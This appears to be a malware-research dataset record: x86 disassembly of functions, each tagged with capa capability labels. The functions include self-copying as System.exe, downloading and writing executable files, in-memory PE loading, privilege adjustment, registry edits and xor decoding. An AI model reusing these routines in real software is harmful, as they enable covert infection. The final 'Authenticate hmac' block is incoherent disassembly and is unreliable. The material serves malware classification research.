joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100031d2
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x100051b8
push 1
push esi
push 0x100051d8
call dword [ebp - 0x18]
test eax, eax
jne 0x1000325d
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x100051c8
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10003264
xor eax, eax
jmp 0x100032f2
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100032d5
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x100051a0
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x100032ca
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100032c1
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x1000326d
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x100032e5
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x100032ef
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000336e
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, 0x100
lea eax, [ebp - 0x39c]
push esi
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
lea eax, [ebp - 0x39c]
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea eax, [ebp - 0x39c]
push 0x100032f7
push eax
call dword [0x10006f08]
xor ebx, ebx
mov dword [0x10006f90], eax
cmp eax, ebx
je 0x10003585
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.1000318a
push ebx
push ebx
push 4
call fcn.1000318a
add esp, 0x18
lea eax, [ebp - 0x198]
mov dword [ebp - 0x198], 0x94
push eax
call dword [0x10006ec8]
cmp dword [ebp - 0x188], 2
jne 0x10003566
cmp dword [ebp - 0x194], 6
jae 0x10003419
call sym.MainDll.dll_MainThread
jmp 0x10003566
lea eax, [ebp - 0x104]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x104]
push 0x1000660c
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x104]
push str.System
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x104]
push str..exe
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x29c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x29c]
push str.Rundll32.exe
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x104]
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x104]
push eax
call dword [0x10006eb0]
cmp eax, 0xffffffff
jne 0x100034cb
call dword [0x10006e98]
cmp eax, 2
jne 0x100034cb
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [0x10006eec]
pop ecx
pop ecx
lea eax, [ebp - 0x4a0]
push esi
push eax
xor edi, edi
push dword [0x10006e60]
mov dword [ebp + 0xc], ebx
call dword [0x10006e8c]
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x8a0]
push str._s___s__MainThread
push eax
call dword [0x10006eec]
add esp, 0x10
push 0x3e8
call dword [0x10006ea0]
lea eax, [ebp + 0xc]
push eax
push edi
call dword [0x10006ecc]
cmp dword [ebp + 0xc], 0x103
je 0x10003547
push edi
call dword [0x10006e9c]
push 0xbb8
call dword [0x10006ea0]
lea eax, [ebp - 0x8a0]
push eax
call fcn.10001fbd
pop ecx
mov edi, eax
mov eax, dword [0x10006f8c]
cmp eax, 3
je 0x10003556
cmp eax, 1
jne 0x10003507
push 0xffffffffffffffff
push edi
call dword [0x10006eac]
push edi
call dword [0x10006e9c]
push 0x64
call dword [0x10006ea0]
mov eax, dword [0x10006f8c]
cmp eax, 3
je 0x10003585
cmp eax, 1
je 0x10003585
cmp dword [0x10006f94], ebx
je 0x10003566
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100036ba
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push esi
mov esi, 0x144
push edi
push esi
lea eax, [ebp - 0x198]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x29c]
mov byte [ebp - 0x198], 0xc8
push str.System
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x197]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x197]
push 0
push eax
push 1
lea eax, [ebp - 0x29c]
push str.Group
push eax
push 0x80000002
call fcn.10004822
push 0x10
lea eax, [ebp - 0x14]
pop edi
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x2c
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [edi + 0x48]
call dword [0x10006f84]
lea eax, [ebp - 0x10]
push 4
push eax
lea eax, [ebp - 0x174]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x170]
push 0x32
push eax
call fcn.100035ea
add esp, 0x18
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x9c
push eax
call dword [0x10006ec8]
lea eax, [ebp - 0xa0]
push eax
call fcn.1000358c
pop ecx
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x54], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
push 0x14
pop ecx
call fcn.10004d40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x8c], eax
call fcn.100031d2
mov dword [ebp - 0x88], eax
call fcn.1000366a
test eax, eax
setne al
mov byte [ebp - 0x84], al
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x7c]
push 0x14
push eax
call fcn.10003629
add esp, 0xc
lea eax, [ebp - 0x68]
push 0x10006514
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x198]
push esi
push eax
mov ecx, edi
call fcn.10001863
pop edi
pop esi
leave
ret
Function at 0x1000389d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x100039ac
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x100039ac
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x100038f5
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x100039ac
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.100039ba
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10003977
push eax
push edi
call fcn.10003b24
pop ecx
pop ecx
push edi
call fcn.10003b9e
test eax, eax
pop ecx
je 0x100039a5
push edi
call fcn.10003a67
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x100039b3
add eax, ebx
test eax, eax
je 0x100039a5
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x100039b0
push edi
call fcn.10003d5d
pop ecx
xor eax, eax
jmp 0x100039b5
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100039ba
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10003a64
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10003a25
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10003a4e
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x10003a4e
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x100039f3
pop edi
pop ebx
pop esi
leave
ret
Function at 0x100042ee
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000428a
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10004349
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x10004368
mov dl, byte [ecx + eax]
sub dl, 0x7a
xor dl, 0x19
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x10004355
ret

Function at 0x10004369
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10005160
push 0x10004ce2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push ebx
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x10004425
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x1000442a
mov dword [ebp - 0x28], edi
jmp 0x1000442e
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.1000444c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004529
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 0xc], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10004597
push str.InternetOpenUrlA
push edi
call esi
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x100045a9
cmp edi, ebx
je 0x100045a2
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x10004661
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10004637
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x41c]
push edi
push ecx
push dword [ebp - 0x18]
call eax
cmp dword [ebp - 0x14], ebx
je 0x10004606
cmp word [ebp - 0x41c], 0x5a4d
jne 0x10004628
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
jbe 0x1000462b
jmp 0x100045ca
mov byte [ebp - 1], bl
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0x18]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x1000465e
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004666
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ADVAPI32.dll
mov byte [ebp - 1], 1
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.AdjustTokenPrivileges
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.LookupPrivilegeValueA
push ebx
mov dword [ebp - 0x18], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x14], eax
call edi
push str.GetCurrentProcess
push eax
mov dword [ebp - 0xc], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x1000473a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], 1
neg eax
sbb eax, eax
and eax, 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push 0
call dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push eax
push 0x10
push ecx
push eax
push dword [ebp - 8]
call dword [ebp - 0x18]
push str.KERNEL32.dll
call edi
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10004715
and byte [ebp - 1], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x1000472b
push ebx
call esi
cmp dword [ebp - 0xc], 0
je 0x10004736
push dword [ebp - 0xc]
call esi
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004a93
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10005190
push 0x10004ce2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x38], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x2c], eax
push str.RegSetValueExA
push edi
call esi
mov dword [ebp - 0x34], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x1c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x40], eax
push str.RegOpenKeyExA
push edi
call esi
mov dword [ebp - 0x28], eax
push str.RegCloseKey
push edi
call esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
sub eax, ebx
je 0x10004b79
dec eax
je 0x10004b97
dec eax
je 0x10004b53
dec eax
jne 0x10004bf4
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10004bf4
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x40]
jmp 0x10004be9
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10004bf4
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x1c]
jmp 0x10004be9
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x2c]
test eax, eax
jne 0x10004bf4
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10004bf4
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe 0x10004bf4
cmp esi, 2
jbe 0x10004bd0
cmp esi, 4
je 0x10004bc6
cmp esi, 7
je 0x10004bd0
jmp 0x10004bf4
push 4
lea eax, [ebp + 0x1c]
push eax
push 4
jmp 0x10004bdf
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x18]
push esi
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x34]
test eax, eax
jne 0x10004bf4
mov dword [ebp - 0x20], 1
or dword [ebp - 4], 0xffffffff
call fcn.10004c1f
cmp edi, ebx
je 0x10004c08
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b208
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
call dword [0x44b0f8]
mov esi, eax
test esi, esi
jne 0x40b25c
call dword [0x44b0f4]
mov edi, eax
test edi, edi
jle 0x40b233
movzx edi, di
or edi, 0x80070000
test edi, edi
js 0x40b23a
mov edi, 0x80004005
push edi
push 0x140
push 0x44ee0c
call fcn.00403821
push 0x44f204
push edi
call fcn.00440237
pop ecx
pop ecx
jmp 0x40b3a9
mov eax, 0x5a4d
cmp ax, word [esi]
je 0x40b285
mov esi, 0x8007000d
push esi
push 0x14a
push 0x44ee0c
mov edi, esi
call fcn.00403821
push 0x44ee88
push esi
jmp 0x40b250
mov ecx, dword [esi + 0x3c]
cmp dword [ecx + esi], 0x4550
je 0x40b2af
mov esi, 0x8007000d
push esi
push 0x155
push 0x44ee0c
mov edi, esi
call fcn.00403821
push 0x44eef8
jmp 0x40b282
movzx eax, word [ecx + esi + 0x14]
push ebx
add eax, ecx
lea ebx, [esi + 0x18]
push 8
add ebx, eax
push 0x44f01c
push ebx
call fcn.0042fb89
add esp, 0xc
test eax, eax
je 0x40b2f4
mov eax, dword [esi + 0x3c]
movzx ecx, word [eax + esi + 6]
xor eax, eax
inc eax
cmp eax, ecx
jae 0x40b31b
add ebx, 0x28
inc eax
cmp dword [ebx], 0x7869772e
jne 0x40b2db
cmp dword [ebx + 4], 0x6e727562
jne 0x40b2db
cmp dword [ebx + 0x10], 0x34
jae 0x40b339
mov esi, 0x8007000d
push esi
push 0x17a
push 0x44ee0c
mov edi, esi
call fcn.00403821
push dword [ebx + 0x10]
push 0x44f048
jmp 0x40b363
mov esi, 0x8007000d
push esi
push 0x16e
push 0x44ee0c
mov edi, esi
call fcn.00403821
push 0x44f028
jmp 0x40b3a0
mov ebx, dword [ebx + 0xc]
add ebx, esi
cmp dword [ebx + 4], 2
je 0x40b36e
mov esi, 0x8007000d
push esi
push 0x184
push 0x44ee0c
mov edi, esi
call fcn.00403821
push dword [ebx + 4]
push 0x44f0ec
push esi
call fcn.00440237
add esp, 0xc
jmp 0x40b3a8
mov edx, dword [ebp + 8]
mov ecx, edi
mov eax, dword [edx + ecx*4]
cmp eax, dword [ebx + ecx*4 + 8]
jne 0x40b384
inc ecx
cmp ecx, 4
jne 0x40b373
jmp 0x40b3a8
mov esi, 0x8007000d
push esi
push 0x18a
push 0x44ee0c
mov edi, esi
call fcn.00403821
push 0x44f22c
push esi
call fcn.00440237
pop ecx
pop ecx
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x42ede0
Capabilities:
Authenticate hmac

Disassembly:
mov cl, 0xb
pop edx
lcall 0xa027, 0x706edce6
adc cl, byte [ecx + 0xe]
ror byte [ecx], 1
dec esp
cli
add byte [eax], dl
adc dword [esi], edx
test eax, 0xf6a161ae
mov cl, 0x97
or ecx, ecx
pop edx
sub dword [esi + eax*8], 0xffffff9c
or edi, dword [ecx + 0x6346f07f]
and byte [ebx + 0x5b1fd269], 0x84
dec esp
add eax, 0x1b3d0940
js 0x42ee22
inc edx
mov bl, ah
loopne 0x42edef
or byte [esi], dh
xor byte [ecx + 0x67eff503], bh
sub al, 0xa4
cmc
out dx, eax
sub al, 0xa4
or eax, 0x2ce08998
and bl, 0xb
lodsb al, byte [esi]
and eax, 0x4148b968
sub dword [edx + edx*4 - 0x32bf55d8], ebx
sar dword [ecx + 0x5380669], cl
nop
adc eax, 0x73dc59c1
mov ah, 0x86
mov esi, 0xa2045802
sti
xor byte [ebx], 0x16
mov cl, 0x38
xor byte [eax + 0x44d6072d], dl
cmove eax, dword [ebp - 0x40]
adc eax, 0x609d695f
and eax, 0xc88cd6a3
xor dh, ch
mov ah, 0x5c
pushal
call 0x111ba358
loop 0x42eeae
inc ebp
pushal
in al, dx
invalid
mov bh, 0x98
pushal
or eax, 0x443c00df
or cl, bl
xchg esp, eax
mov ecx, 0x4a311a23
sbb dword [0x36518017], edi
xor dword [edx - 0x6f7d479b], ebx
push ecx
xor dword ss:[edx - 0x6f7d479b], ebx
push esi
jae 0x42ef35
loop 0x42eec2
jle 0x42ef12
pop edx
popfd
fimul dword [ebx + ebp*4 - 0xe7dafc0]
xor eax, dword [edx - 0x66]
push edi
rcr byte [eax], cl
fmul dword [edi - 0x74]
adc cl, byte [0x79c1988c]
sbb al, bl
dec edi
mov word [edx], ss
or eax, 0x79c1988c
xor dword [edx - 0x3961e728], ecx
salc
mov ecx, 0x68f93033
jne 0x42eee0
push 0x4e
enter 0x31da, 0xffffffffffffff8d
enter 0x20e1, 0x37
nop
add eax, 0x51235bc0
sbb bh, byte [0x50e91bcd]
xor al, 0x36
wait
pop es
and dword [ecx], edx
ror byte [eax + 0x81fcc5a], cl
sbb al, 0x8e
int 0x38
inc esi
dec esp
push edx
and dh, byte [edx + 0x77]
inc ebp
out 0x2c, eax
or byte [esi + 0x44], al
cli
xchg edi, eax
pop ecx
sbb al, 0x30
add eax, 0x1912816b
push eax
push eax
inc ebp
dec eax
dec edi
imul ebp, dword [ebp + 0x36], 0x7d8c95c3
sub dword [ebx + 0x40bdc410], ecx
dec edx
in al, dx
invalid